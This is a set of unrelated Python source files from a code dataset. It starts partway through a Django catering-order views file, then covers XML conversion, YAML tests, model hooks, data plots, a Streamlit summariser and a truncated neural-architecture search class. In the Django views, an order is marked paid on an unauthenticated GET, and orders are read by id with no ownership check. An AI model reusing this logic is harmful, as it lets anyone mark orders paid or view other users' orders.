OrderModel instance and populate it\n # with the data from the form\n order, created = OrderModel.objects.get_or_create(\n user=request.user,\n is_paid=False,\n defaults=form.cleaned_data # use form.cleaned_data to populate the fields\n )\n \n # If an existing order is found, update its details\n if not created:\n for field, value in form.cleaned_data.items():\n setattr(order, field, value)\n order.save()\n \n items = request.POST.getlist('items[]')\n \n for item_id in items:\n menu_item = MenuItem.objects.get(pk=item_id)\n order.items.add(menu_item) # Assuming 'items' is a ManyToMany field in OrderModel\n\n return HttpResponseRedirect(reverse('user_dashboard'))\n else:\n print(form.errors) # Debugging: print errors to the console\n return JsonResponse({\"status\": \"error\", \"message\": \"Invalid form data\"})\n \n except Exception as e:\n print(f\"An error occurred: {e}\") # Debugging: print exceptions to the console\n return JsonResponse({\"status\": \"error\", \"message\": str(e)})\n \nclass OrderConfirmation(LoginRequiredMixin, View):\n def get(self, request, order_id, *args, **kwargs):\n order = OrderModel.objects.get(pk=order_id)\n total_price = order.items.aggregate(total_price=Sum('price'))['total_price']\n # Assuming you have a ForeignKey relationship between OrderModel and OrderItem\n \n is_paid = order.is_paid\n\n # Send email to customer if the order is paid\n if is_paid:\n email_to_customer_body = \"Thank you for your payment! Your order has been confirmed.\"\n send_mail(\n 'Order Confirmation',\n email_to_customer_body,\n settings.DEFAULT_FROM_EMAIL,\n [order.email],\n fail_silently=False\n )\n\n # Send email to admin\n email_to_admin_body = f\"Payment received for order {order.pk}.\"\n send_mail(\n 'Payment Received',\n email_to_admin_body,\n settings.DEFAULT_FROM_EMAIL,\n [settings.ADMIN_EMAIL], # Replace with the admin's email address\n fail_silently=False\n )\n\n context = {\n 'order': order,\n 'is_paid': is_paid,\n }\n\n return render(request, 'customer/order_confirmation.html', context)\n\nclass OrderPayConfirmation(View):\n def get(self, request, *args, **kwargs):\n try:\n # Retrieve the order using any relevant identifier (e.g., order ID)\n order_id = kwargs['order_id']\n order = OrderModel.objects.get(id=order_id)\n \n # Fetch items associated with this order\n order_items = order\n print(\"Orders----:\",order_id)\n\n # Calculate total_price\n total_price = sum(item.price for item in order.items.all())\n\n # Mark the order as paid\n order.is_paid = True\n order.payment_account = \"right2ya@business.example.com\"\n order.save()\n\n # Render the order confirmation template with the updated order\n context = {\n 'order': order,\n 'is_paid': True,\n 'total_price': total_price,\n 'order_items': order_items,\n }\n return render(request, 'customer/order_confirmation.html', context)\n\n except OrderModel.DoesNotExist:\n # Handle order not found\n messages.error(request, 'Order not found.')\n\n # Redirect to the order confirmation page with the original order\n # Render the order confirmation template with the updated order\n context = {\n 'order': order,\n 'is_paid': True, # or False depending on your logic\n 'total_price': total_price, # Include the total price in the context\n 'order_items': order_items,\n }\n return render(request, 'customer/order_confirmation.html', context)\n\nclass Contact(View):\n def get(self, request, *args, **kwargs):\n return render(request, 'customer/contact.html')\n\nclass Menu(View):\n def get(self, request, *args, **kwargs):\n menu_items = MenuItem.objects.all()\n\n context = {\n 'menu_items': menu_items,\n }\n\n return render(request, 'customer/menu.html', context)\n\nclass MenuSearch(View):\n def post(self, request, *args, **kwargs):\n search_query = request.POST.get('search_query')\n\n menu_items = MenuItem.objects.filter(\n Q(name__icontains=search_query) | Q(description__icontains=search_query)\n )\n\n context = {\n 'menu_items': menu_items,\n 'search_query': search_query\n }\n\n return render(request, 'customer/menu_search.html', context)\n\nclass AddToCart(View):\n def post(self, request, *args, **kwargs):\n print(f\"Entire POST payload: {request.POST}\")\n\n try:\n print(\"Inside AddToCart post method.\")\n \n item_id = request.POST.get('item_id')\n\n print(f\"Item ID received: {item_id}\")\n \n menu_item = get_object_or_404(MenuItem, id=item_id)\n print(f\"Menu item retrieved: {menu_item}\")\n \n user = request.user\n print(f\"Current user: {user}\")\n \n if user.is_anonymous:\n print(\"User is anonymous. Exiting.\")\n return JsonResponse({\"status\": \"User must be logged in\"})\n \n with transaction.atomic(): # Ensuring atomicity for the following operations\n print(\"Inside atomic block.\")\n \n order, created = OrderModel.objects.get_or_create(user=user,is_paid=False)\n print(f\"Order retrieved or created: {order}, Created: {created}\")\n \n cart_item, created = CartItem.objects.get_or_create(\n user=user, menu_item=menu_item, order=order, defaults={'quantity': 1})\n print(f\"Cart item retrieved or created: {cart_item}, Created: {created}\")\n \n # Check if the item has a maximum allowable quantity\n max_quantity = menu_item.max_quantity\n\n # Existing cart item\n if not created and max_quantity is not None:\n new_quantity = cart_item.quantity + 1\n\n if new_quantity > max_quantity:\n return JsonResponse({\"status\": \"error\", \"message\": \"Maximum quantity reached\"})\n \n cart_item.quantity = new_quantity\n cart_item.save()\n \n # New cart item\n elif created and max_quantity is not None:\n if 1 > max_quantity:\n return JsonResponse({\"status\": \"error\", \"message\": \"Maximum quantity reached\"})\n \n # Assuming the item has been successfully added to the cart at this point\n # messages.success(request, 'Item successfully added to cart!')\n \n total_price = sum(item.menu_item.price * item.quantity for item in order.cartitem_set.all())\n print(f\"Total price calculated: {total_price}\")\n order.total_price = total_price\n order.save()\n print(\"Order price updated.\")\n \n # Inside AddToCart class-based view\n is_cart_empty = (order.cartitem_set.count() == 0)\n total_price = sum(item.menu_item.price * item.quantity for item in order.cartitem_set.all())\n return JsonResponse({\"status\": \"success\", \"message\": \"Item successfully added to cart!\"})\n \n except Exception as e:\n print(f\"An exception occurred: {e}\")\n return JsonResponse({\"status\": f\"An error occurred: {str(e)}\"})\n\nclass RemoveFromCartView(LoginRequiredMixin, View):\n def post(self, request, *args, **kwargs):\n cart_item_id = request.POST.get('cart_item_id')\n CartItem.objects.get(id=cart_item_id).delete()\n return redirect('cart')\n\nclass CheckoutView(LoginRequiredMixin, View):\n def get(self, request, *args, **kwargs):\n cart_items = CartItem.objects.filter(user=request.user)\n total_price = sum(item.menu_item.price * item.quantity for item in cart_items)\n stripe_publishable_key = settings.STRIPE_PUBLISHABLE_KEY\n \n context = {\n 'cart_items': cart_items,\n 'total_price': total_price,\n 'stripe_publishable_key':stripe_publishable_key,\n }\n \n return render(request, 'customer/checkout.html', context)\n\n def post(self, request, *args, **kwargs):\n token = request.POST.get('stripeToken')\n cart_items = CartItem.objects.filter(user=request.user)\n order = OrderModel.objects.get(user=request.user, is_paid=False)\n \n # Extract the associated MenuItem objects from cart_items\n menu_items = [cart_item.menu_item for cart_item in cart_items]\n\n # Add them to the order\n order.items.add(*menu_items)\n\n # Save the order\n order.save()\n \n total_price = sum(item.menu_item.price * item.quantity for item in cart_items)\n \n with transaction.atomic(): # Ensures database consistency\n total_price = sum(item.menu_item.price * item.quantity for item in cart_items)\n total_price_cents = int(total_price * 100)\n \n customer_email = request.user.email # Assuming the email is stored in user model\n customer_name = request.user.username \n\n # Create a Stripe charge\n try:\n charge = stripe.Charge.create(\n amount=total_price_cents,\n currency=\"usd\",\n source=token,\n description=f\"Charge for {request.user.email}\",\n metadata={\n \"customer_email\": customer_email,\n \"customer_name\": customer_name,\n }\n \n )\n\n # Update the order to mark it as paid\n order.is_paid = True\n order.save()\n\n # Clear the cart\n CartItem.objects.filter(user=request.user).delete()\n\n return redirect(reverse('payment_confirmation', args=[order.id]))\n\n except stripe.error.CardError as e:\n messages.error(request, \"Your card has been declined.\")\n \nclass Cart(View):\n def get(self, request, *args, **kwargs):\n cart_items = CartItem.objects.filter(user=request.user)\n total_price = sum(item.menu_item.price * item.quantity for item in cart_items)\n\n context = {'cart_items': cart_items,\n 'total_price': total_price}\n return render(request, 'customer/cart.html', context)\n\n@login_required\ndef user_dashboard_view(request):\n current_user = request.user\n user_orders = OrderModel.objects.filter(user=current_user.id) # Filter by user id\n context = {\n 'user_orders': user_orders,\n }\n return render(request, 'customer/user_dashboard.html', context)\n\n\n@user_passes_test(lambda u: u.is_superuser)\ndef admin_dashboard_view(request):\n # your logic here\n return render(request, 'customer/admin_dashboard.html')\n\n\n@method_decorator(login_required, name='dispatch')\nclass OrderListView(ListView):\n model = OrderModel\n template_name = 'customer/order_list.html'\n context_object_name = 'orders'\n\n def get_queryset(self):\n return OrderModel.objects.filter(user=self.request.user)\n\n\n@method_decorator(login_required, name='dispatch')\nclass OrderDetailView(DetailView):\n model = OrderModel\n template_name = 'customer/order_detail.html'\n context_object_name = 'order'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['is_paid'] = self.object.is_paid\n context['menu_items'] = MenuItem.objects.all()\n\n order = self.object # This view's object is already the order you want\n\n if order: # Check if an order exists\n total_price = sum(item.menu_item.price * item.quantity for item in order.cartitem_set.all())\n cart_items = CartItem.objects.filter(user=self.request.user, order=order)\n \n context['total_cost'] = total_price\n context['cart_items'] = cart_items\n else:\n context['total_cost'] = 0\n context['cart_items'] = []\n\n cart_quantities = defaultdict(int)\n for cart_item in context['cart_items']:\n cart_quantities[cart_item.menu_item.id] += cart_item.quantity\n\n context['cart_quantities'] = cart_quantities\n\n return context\n\n def post(self, request, *args, **kwargs):\n self.object = self.get_object()\n menuItem_id = request.POST.get('menuItem_id')\n\n try:\n menu_item = MenuItem.objects.get(id=menuItem_id)\n self.object.items.add(menu_item)\n self.object.save()\n messages.success(request, 'Item successfully added.')\n status = 'success'\n except MenuItem.DoesNotExist:\n messages.error(request, 'MenuItem does not exist.')\n status = 'error'\n except Exception as e:\n messages.error(request, f'An unexpected error occurred: {e}')\n status = 'error'\n\n if request.is_ajax():\n return JsonResponse({'status': status})\n\n return redirect('order-detail', pk=self.object.pk)\n\n\ndef update_quantity(request):\n if request.method == 'POST':\n cart_item_id = request.POST.get('cart_item_id')\n quantity = int(request.POST.get('quantity'))\n\n # Find the cart item and update its quantity\n cart_item = CartItem.objects.get(id=cart_item_id)\n cart_item.quantity = quantity\n cart_item.save()\n \n messages.add_message(request, messages.SUCCESS, 'Quantity updated.')\n\n return redirect('cart') # Redirect back to the cart page\n\n@method_decorator(login_required, name='dispatch')\nclass OrderUpdateView(UpdateView):\n model = OrderModel\n fields = [\n 'client_full_name', 'street_address', \n 'cell_number', 'date_of_event', 'event_type', 'number_of_guests', \n 'start_time', 'end_time', 'location_of_event', \n 'email', 'city', 'state', 'zip_code'\n ] # Fields that you want to be editable\n template_name = 'customer/order_edit.html'\n success_url = reverse_lazy('user_dashboard')\n\n def form_valid(self, form):\n form.instance.user = self.request.user\n return super().form_valid(form)\n \n\n@login_required\ndef order_pay_view(request, pk):\n # Implement your logic for payment here\n # You could, for example, redirect to a payment gateway page\n return redirect(reverse('payment_confirmation', args=[pk]))\n\n@login_required\ndef order_add_services_view(request, pk):\n # Implement logic to add services to the order\n # You could use AJAX here to send data without page reload\n if request.method == 'POST':\n # Extract data from POST request and add services\n # Return a JsonResponse if you're using AJAX\n return JsonResponse({'status': 'success'})\n\n return render(request, 'customer/add_services.html', {'order_id': pk})\n\n","repo_name":"tyrainman427/contract","sub_path":"deliver/customer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":21114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13860505919","text":"import sys\nimport json\nfrom lxml import etree\n\n\ndef xtl_to_json(elem, parent):\n if not parent:\n parent['name'] = unicode(elem.tag)\n parent['atts'] = dict(elem.attrib)\n parent['children'] = []\n for child in list(elem):\n xtl_to_json(child, parent)\n else:\n if unicode(elem.tag) == \"\":\n this = {'name': 'java'}\n else:\n this = {'name': unicode(elem.tag)}\n if elem.attrib:\n this['atts'] = dict(elem.attrib)\n if elem.text and any(type(elem.text) == t for t in [str, unicode]) \\\n and not elem.text.isspace():\n this['text'] = elem.text\n if parent:\n parent['children'].append(this)\n if list(elem):\n this['children'] = []\n for child in list(elem):\n xtl_to_json(child, this)\n\n\ndef main(xtl_file):\n \"\"\"Given an .xtl file returns contents converted to JSON\"\"\"\n try:\n tree = etree.parse(xtl_file)\n except:\n return None\n root = tree.getroot()\n doc = {}\n xtl_to_json(root, doc)\n return json.JSONEncoder().encode(doc)\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print(\"needs one argument that is a .xtl file\")\n exit(1)\n print(main(sys.argv[1]))\n","repo_name":"dfarquharson/repo_splitter","sub_path":"xtl_to_json.py","file_name":"xtl_to_json.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73728380627","text":"\nimport codecs # NOQA\nimport io\n\nimport ruamel.yaml.reader\n\n\ndef _run_reader(data, verbose):\n try:\n stream = ruamel.yaml.py.reader.Reader(data)\n while stream.peek() != '\\0':\n stream.forward()\n except ruamel.yaml.py.reader.ReaderError as exc:\n if verbose:\n print(exc)\n else:\n raise AssertionError('expected an exception')\n\n\ndef test_stream_error(error_filename, verbose=False):\n with open(error_filename, 'rb') as fp0:\n _run_reader(fp0, verbose)\n with open(error_filename, 'rb') as fp0:\n _run_reader(fp0.read(), verbose)\n for encoding in ['utf-8', 'utf-16-le', 'utf-16-be']:\n try:\n with open(error_filename, 'rb') as fp0:\n data = fp0.read().decode(encoding)\n break\n except UnicodeDecodeError:\n pass\n else:\n return\n _run_reader(data, verbose)\n with io.open(error_filename, encoding=encoding) as fp:\n _run_reader(fp, verbose)\n\n\ntest_stream_error.unittest = ['.stream-error']\n\nif __name__ == '__main__':\n import test_appliance\n\n test_appliance.run(globals())\n","repo_name":"commx/ruamel-yaml","sub_path":"_test/lib/test_reader.py","file_name":"test_reader.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"48"} +{"seq_id":"33119827231","text":"from copy import deepcopy\r\n\r\n\r\ndef clean(dict_to_clear = {}, removable_keys=[]):\r\n keys_to_remove = ['__dict__'] + removable_keys\r\n\r\n dict_copy = deepcopy(dict_to_clear)\r\n for key in keys_to_remove:\r\n if key in dict_copy:\r\n dict_copy.pop(key)\r\n return dict_copy\r\n","repo_name":"fcarrascosa/StreamlabsChatbotFaceitIntegration","sub_path":"FaceitIntegration/lib/utils/dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"22705591698","text":"import torch\nfrom typing import Callable, Dict, Tuple, List, Any\nfrom abc import ABC, abstractmethod\n\nclass Hook(ABC):\n @abstractmethod\n def add_hook(self, hook: Callable[[torch.Tensor], torch.Tensor]):\n pass\n\nclass HookManager(ABC):\n @property\n @abstractmethod\n def hooks(self) -> Dict[str, Hook]:\n pass\n\n @abstractmethod\n def remove_hooks(self):\n pass\n \n \"\"\"\n @abstractmethod\n def get_layer(self, name: str) -> int:\n pass\n \"\"\"\n\n# a ComputeGraph is a DAG that represents the causal relationship between hooks/nodes\n# the path tracing algorithm outputs a simpler graph that is a subset of the input graph\nclass ComputeGraph:\n def __init__(self, nodes: List[str], edges: Tuple[str, str], root: str):\n self.nodes = nodes\n self.edges = edges\n self.root = root\n\n #self.no_cycles()\n #self.all_reachable()\n \n def no_cycles(self):\n # cycle detection algorithm\n stack = []\n def dfs(node):\n stack.append(node)\n for edge in self.edges:\n if edge[0] == node:\n if edge[1] in stack:\n raise ValueError(f\"Cycle detected with node {edge[1]}\", stack)\n dfs(edge[1])\n stack.pop()\n dfs(self.root)\n \n def all_reachable(self):\n # check all reachable from root\n visited = set()\n def dfs(node):\n visited.add(node)\n for edge in self.edges:\n if edge[0] == node:\n dfs(edge[1])\n dfs(self.root)\n assert len(visited) == len(self.nodes), \"Not all nodes are reachable from root\"\n \n def get_children(self, node):\n return [edge[1] for edge in self.edges if edge[0] == node]\n\n @classmethod\n def prune_nodes(cls, graph, nodes_to_keep):\n nodes = [node for node in graph.nodes if node in nodes_to_keep]\n edges = [edge for edge in graph.edges if edge[0] in nodes_to_keep and edge[1] in nodes_to_keep]\n return cls(nodes, edges, graph.root)\n\nclass GraphedModel:\n def __init__(self, model, graph: ComputeGraph, hooks: HookManager):\n self.model = model\n self.hook_manager = hooks\n self.graph = graph\n \n def run_with_hooks(self, inputs: torch.Tensor, fwd_hooks: List[Tuple[str, Callable[[torch.Tensor], torch.Tensor]]], return_hook: str = None) -> torch.Tensor:\n self.hook_manager.remove_hooks()\n for node, hook in fwd_hooks:\n self.hook_manager.hooks[node].add_hook(hook)\n out = None\n if return_hook is not None:\n def output_hook(x):\n nonlocal out\n out = x\n return x\n self.hook_manager.hooks[return_hook].add_hook(output_hook)\n if hasattr(self.hook_manager, \"get_layer\"):\n self.model(inputs, stop_at_layer=self.hook_manager.get_layer(return_hook))\n else:\n self.model(inputs)\n self.hook_manager.remove_hooks()\n return out\n else:\n out = self.model(inputs)\n self.hook_manager.remove_hooks()\n return out\n \n def run_with_cache(self, inputs: torch.Tensor) -> torch.Tensor:\n fwd_hooks = []\n cache = {}\n for node in self.graph.nodes:\n def hook(x, n):\n nonlocal cache\n cache[n] = x\n return x\n fwd_hooks.append((node, lambda x, n=node : hook(x, n)))\n return self.run_with_hooks(inputs, fwd_hooks), cache","repo_name":"Baidicoot/autocircuit","sub_path":"autocircuit/graphed_model.py","file_name":"graphed_model.py","file_ext":"py","file_size_in_byte":3581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70641719185","text":"import json\nfrom pprint import pprint\nimport jieba\nimport re\nfrom sklearn import feature_extraction \nfrom sklearn.feature_extraction.text import TfidfTransformer \nfrom sklearn.feature_extraction.text import CountVectorizer \nfrom sklearn.naive_bayes import MultinomialNB\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport operator\n\nhtc_dict = {}\nsamsung_dict={}\napple_dict={}\nxm_dict={}\nsony_dict={}\nlg_dict={}\nasus_dict={}\n\n\n\nwith open('train_data.json',encoding = 'utf8') as content_file: \n for line in content_file:\n item=json.loads(line)\n if ('htc' in ''.join(item['brand'])):\n for i in range(len(item['positive_user'])):\n if (item['positive_user'][i].replace(\" \", \"\") in htc_dict):\n htc_dict[item['positive_user'][i].replace(\" \", \"\")]+=1\n else:\n htc_dict.update({item['positive_user'][i].replace(\" \", \"\"):1}) \n elif ('sam' in ''.join(item['brand'])):\n for i in range(len(item['positive_user'])):\n if (item['positive_user'][i].replace(\" \", \"\") in samsung_dict):\n samsung_dict[item['positive_user'][i].replace(\" \", \"\")]+=1\n else:\n samsung_dict.update({item['positive_user'][i].replace(\" \", \"\"):1}) \n elif ('apple' in ''.join(item['brand'])):\n for i in range(len(item['positive_user'])):\n if (item['positive_user'][i].replace(\" \", \"\") in apple_dict):\n apple_dict[item['positive_user'][i].replace(\" \", \"\")]+=1\n else:\n apple_dict.update({item['positive_user'][i].replace(\" \", \"\"):1}) \n elif ('xm' in ''.join(item['brand'])):\n for i in range(len(item['positive_user'])):\n if (item['positive_user'][i].replace(\" \", \"\") in xm_dict):\n xm_dict[item['positive_user'][i].replace(\" \", \"\")]+=1\n else:\n xm_dict.update({item['positive_user'][i].replace(\" \", \"\"):1}) \n elif ('sony' in ''.join(item['brand'])):\n for i in range(len(item['positive_user'])):\n if (item['positive_user'][i].replace(\" \", \"\") in sony_dict):\n sony_dict[item['positive_user'][i].replace(\" \", \"\")]+=1\n else:\n sony_dict.update({item['positive_user'][i].replace(\" \", \"\"):1}) \n elif ('lg' in ''.join(item['brand'])):\n for i in range(len(item['positive_user'])):\n if (item['positive_user'][i].replace(\" \", \"\") in lg_dict):\n lg_dict[item['positive_user'][i].replace(\" \", \"\")]+=1\n else:\n lg_dict.update({item['positive_user'][i].replace(\" \", \"\"):1})\n elif ('asus' in ''.join(item['brand'])):\n for i in range(len(item['positive_user'])):\n if (item['positive_user'][i].replace(\" \", \"\") in asus_dict):\n asus_dict[item['positive_user'][i].replace(\" \", \"\")]+=1\n else:\n asus_dict.update({item['positive_user'][i].replace(\" \", \"\"):1}) \n else:\n print(\"\")\n\nx=htc_dict\nsorted_x = sorted(x.items(), key=operator.itemgetter(1))\nsorted_x.reverse()\nfor i in range(0,9):\n print(sorted_x[i])\n\n\ndef set_ch():\n from pylab import mpl\n mpl.rcParams['font.sans-serif'] = ['FangSong'] \n mpl.rcParams['axes.unicode_minus'] = False \n\ndef autolabel(rects):\n for rect in rects:\n height = rect.get_height()\n plt.text(rect.get_x()+rect.get_width()/2., 1.03*height, \"%s\" % float(height))\n\nset_ch()\n\nplt.figure()\n\nplt.xlabel(u\"愛好者\")\nplt.ylabel(u\"愛好程度\")\n\nplt.title(u\"HTC愛好者程度分析\") \nplt.xticks((0,1,2,3,4,5,6,7,8),(sorted_x[0][0],sorted_x[1][0],sorted_x[2][0],sorted_x[3][0],sorted_x[4][0],sorted_x[5][0],sorted_x[6][0],sorted_x[7][0],sorted_x[8][0]))\n\nrect = plt.bar(left = (0,1,2,3,4,5,6,7,8,),height = (sorted_x[0][1],sorted_x[1][1],sorted_x[2][1],sorted_x[3][1],sorted_x[4][1],sorted_x[5][1],sorted_x[6][1],sorted_x[7][1],sorted_x[8][1]),width = 0.35,align=\"center\")\n\nplt.legend((rect,),(u\"HTC愛好者分析\",))\nautolabel(rect)\n\nplt.show()\n\nperson=\"james732\"\nprint(\"htc favorite:\",htc_dict[person], \\\n \"samsung favorite:\",samsung_dict[person], \\\n \"apple favorite:\",apple_dict[person], \\\n \"xm favorite:\",xm_dict[person], \\\n \"sony favorite:\",sony_dict[person], \\\n \"lg favorite:\",lg_dict[person], \\\n \"asus favorite:\",asus_dict[person])\n\nplt.figure()\n\nplt.xlabel(u\"手機品牌\")\nplt.ylabel(u\"愛好程度\")\n\nplt.title(\"愛好者程度分���\") \n\nplt.xticks((0,1,2,3,4,5,6),(\"htc\",\"samsung\",\"apple\",\"xiaomi\",\"sony\",\"lg\",\"asus\"))\nrect = plt.bar(left = (0,1,2,3,4,5,6,),height = (htc_dict[person],samsung_dict[person],apple_dict[person],xm_dict[person],sony_dict[person],lg_dict[person],asus_dict[person]),width = 0.35,align=\"center\")\n\nplt.legend((rect,),(person,))\nautolabel(rect)\n\nplt.show()\n \n \n ","repo_name":"darktrial/datascience","sub_path":"wordinganalysis/user_preference.py","file_name":"user_preference.py","file_ext":"py","file_size_in_byte":4998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32270260609","text":"# https://api.douban.com/v2/movie/in_theaters\n\nimport requests\nimport webbrowser\n\napi = \"https://api.douban.com/v2/movie/in_theaters\"\nweb_page = \"http://movie.douban.com/\"\n\napi_data = requests.get(api)\ndict_data = api_data.json()\n\n# print(dict_data)\n\n# 最近热映\nfor data in dict_data[\"subjects\"] :\n print(data)","repo_name":"ALICE5/U-PLAN","sub_path":"0829/demo4.py","file_name":"demo4.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"25430682812","text":"#!/usr/bin/env python\n\n\"\"\"\nFigure out Australian continental LAI trend. I'm taking the maximum LAI value\nper month and averaging across years.\n\"\"\"\n\nimport numpy as np\nimport sys\nimport os\nimport glob\nimport matplotlib.pyplot as plt\n\n__author__ = \"Martin De Kauwe\"\n__version__ = \"1.0 (18.03.2018)\"\n__email__ = \"mdekauwe@gmail.com\"\n\nnrows = 2160\nncols = 4320\n\n# Australia, roughly\nrow_st = 550\nrow_en = 953\ncol_st = 3500\ncol_en = 4020\nnrowsx = row_en - row_st\nncolsx = col_en - col_st\n\nyrs = np.arange(1982,1988)\nnyrears = len(yrs)\nall_yrs = np.zeros((nyrears,nrowsx,ncolsx))\n\nyr_cnt = 0\nfor yr in yrs:\n yrs_data = np.zeros((24,nrowsx,ncolsx)) # two values per month\n cnt = 0\n\n # NB. Australian years\n\n # Get values from previous year ...\n for mth in ['jul', 'aug', 'sep', 'oct', 'nov', 'dec']:\n for period in [\"a\", \"b\"]:\n fn = \"processed/AVHRRBUVI01.%s%s%s.abl\" % (yr-1, mth, period)\n data = np.fromfile(fn).reshape(nrows,ncols)\n data = data[row_st:row_en,col_st:col_en]\n yrs_data[cnt,:,:] = np.where(data > 0.0, data, np.nan)\n cnt += 1\n\n for mth in ['jan', 'feb', 'mar', 'apr', 'may', 'jun']:\n for period in [\"a\", \"b\"]:\n fn = \"processed/AVHRRBUVI01.%s%s%s.abl\" % (yr, mth, period)\n data = np.fromfile(fn).reshape(nrows,ncols)\n data = data[row_st:row_en,col_st:col_en]\n yrs_data[cnt,:,:] = np.where(data > 0.0, data, np.nan)\n cnt += 1\n\n all_yrs[yr_cnt,:,:] = np.nanmax(yrs_data, axis=0)\n yr_cnt += 1\n\ncontinent_avg = np.nanmean(all_yrs, axis=(1,2))\n\nwidth = 9.0\nheight = width / 1.618\nfig = plt.figure(figsize=(width, height))\nplt.rcParams['text.usetex'] = False\nplt.rcParams['font.family'] = \"sans-serif\"\nplt.rcParams['font.sans-serif'] = \"Helvetica\"\nplt.rcParams['axes.labelsize'] = 14\nplt.rcParams['font.size'] = 14\nplt.rcParams['legend.fontsize'] = 14\nplt.rcParams['xtick.labelsize'] = 14\nplt.rcParams['ytick.labelsize'] = 14\n\nax1 = fig.add_subplot(111)\nax1.plot(yrs, continent_avg, ls=\"-\", color=\"black\")\nax1.set_ylabel(\"LAI (m$^{2}$ m$^{-2}$)\")\nax1.set_xlabel(\"Year\")\nplt.show()\n","repo_name":"mdekauwe/GIMMS_LAI3g","sub_path":"calculate_Australia_trend.py","file_name":"calculate_Australia_trend.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15743947084","text":"import streamlit as st\nimport openai\nimport os\nfrom functions import summarise\n\ntry:\n openai.api_key = os.getenv(\"OPENAI_KEY\")\n \n # initialise state variable\n if \"summary\" not in st.session_state:\n st.session_state[\"summary\"] = \"\"\n \n st.title(\"Summariser\")\n \n input_text = st.text_area(label=\"Enter full text:\", value=\"\", height=250)\n \n st.button(\n \"Submit\",\n on_click=summarise,\n kwargs={\"prompt\": input_text},\n )\n \n # configure text area to populate with current state of summary\n output_text = st.text_area(label=\"Summarised text:\", value=st.session_state[\"summary\"], height=250)\nexcept:\n st.write(\"There was an error =(\")","repo_name":"noct15/summariser","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10073919433","text":"import numpy as np\nimport random\nimport tensorflow as tf\nfrom sklearn.preprocessing import LabelEncoder\n# from sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import scale\nfrom preproc import unpick # add /Project to pythonpath first\nlayers = tf.keras.layers\noptimizer = tf.keras.optimizers\nutils = tf.keras.utils\n\n# set maximum CPU threads to 4\ntf.config.threading.set_inter_op_parallelism_threads(2)\ntf.config.threading.set_intra_op_parallelism_threads(2)\n\n\nclass Chromosome:\n def __init__(self, x, y, use_custom_mse=True):\n # experimental parameters as defined in the paper\n self.no_epochs = 5\n self.normal_init = tf.initializers.RandomNormal(mean=0, stddev=0.01)\n self.learning_rate = 0.001\n self.optimiser = optimizer.Adam(self.learning_rate)\n self.batch_size = 128\n self.units = 100\n self.rate = 0.8\n if tf.__version__[0] == '2': # TF v2 define this differently\n self.rate = 1 - self.rate\n self.filters = 10\n self.kernel_size = (2, 2)\n self.activation = \"relu\"\n self.fitness = np.inf\n self.pool_size = (2, 2)\n self.stride = 1\n self.orig_x = x\n self.orig_y = y\n self.model = None\n self.use_custom_mse = use_custom_mse\n\n # chromosome construction\n self.genes = dict.fromkeys((\"loss\", \"out_nodes\", \"activation\", \"architecture\"))\n self.genes[\"loss\"] = random.choice((\"categorical_crossentropy\", \"mean_squared_error\"))\n self.genes[\"out_nodes\"] = random.choice((1, len(np.unique(y))))\n self.genes[\"activation\"] = random.choice((\"linear\", \"softmax\", \"relu\", \"sigmoid\"))\n if len(self.orig_x.shape) == 4:\n self.genes[\"architecture\"] = random.choices((layers.Conv2D, layers.Dense, layers.Dropout, layers.MaxPool2D),\n k=random.randint(5, 15))\n elif len(self.orig_x.shape) == 2:\n self.genes[\"architecture\"] = random.choices((layers.Dense, layers.Dropout),\n k=random.randint(5, 15))\n else:\n raise Exception(\"unexpected input shape\", self.orig_x.shape)\n\n @staticmethod\n def custom_mse_numpy(y, yhat):\n obj = tf.keras.losses.MeanSquaredError()\n if len(y.shape) == 1:\n return obj(y, yhat)\n elif len(y.shape) == 2:\n truth_col_ind = np.argmax(y, axis=1)\n seq_row_ind = range(len(y))\n return obj(y[seq_row_ind, truth_col_ind], yhat[seq_row_ind, truth_col_ind])\n else:\n raise Exception(\"unexpected y shape\", y.shape)\n\n @staticmethod\n def custom_mse(mse_flag):\n if mse_flag:\n def custom_mse_loss(y, yhat):\n obj = tf.keras.losses.MeanSquaredError()\n return obj(y, yhat)\n return custom_mse_loss\n else:\n def custom_mse_loss(y, yhat):\n res = tf.multiply(y, yhat)\n res = tf.subtract(res, y)\n res = tf.multiply(res, res)\n res = tf.reduce_sum(res, axis=1)\n res = tf.reduce_mean(res)\n return res\n return custom_mse_loss\n\n def evaluate(self):\n self.fitness = np.inf\n # data process: one-hot encode y for crossentropy\n if self.genes[\"loss\"] == \"categorical_crossentropy\":\n le_obj = LabelEncoder()\n mod_y = le_obj.fit_transform(self.orig_y)\n mod_y = utils.to_categorical(mod_y, len(np.unique(mod_y)))\n # scale y for MSE\n else:\n mod_y = scale(self.orig_y.reshape(-1, 1))\n mod_y = mod_y.reshape(-1)\n\n # build model\n self.model = tf.keras.models.Sequential()\n self.model.add(layers.Input(shape=np.shape(self.orig_x[0])))\n for layer in self.genes[\"architecture\"]:\n try:\n if layer == layers.Conv2D:\n self.model.add(layer(filters=self.filters,\n kernel_size=self.kernel_size,\n activation=self.activation,\n kernel_initializer=self.normal_init))\n elif layer == 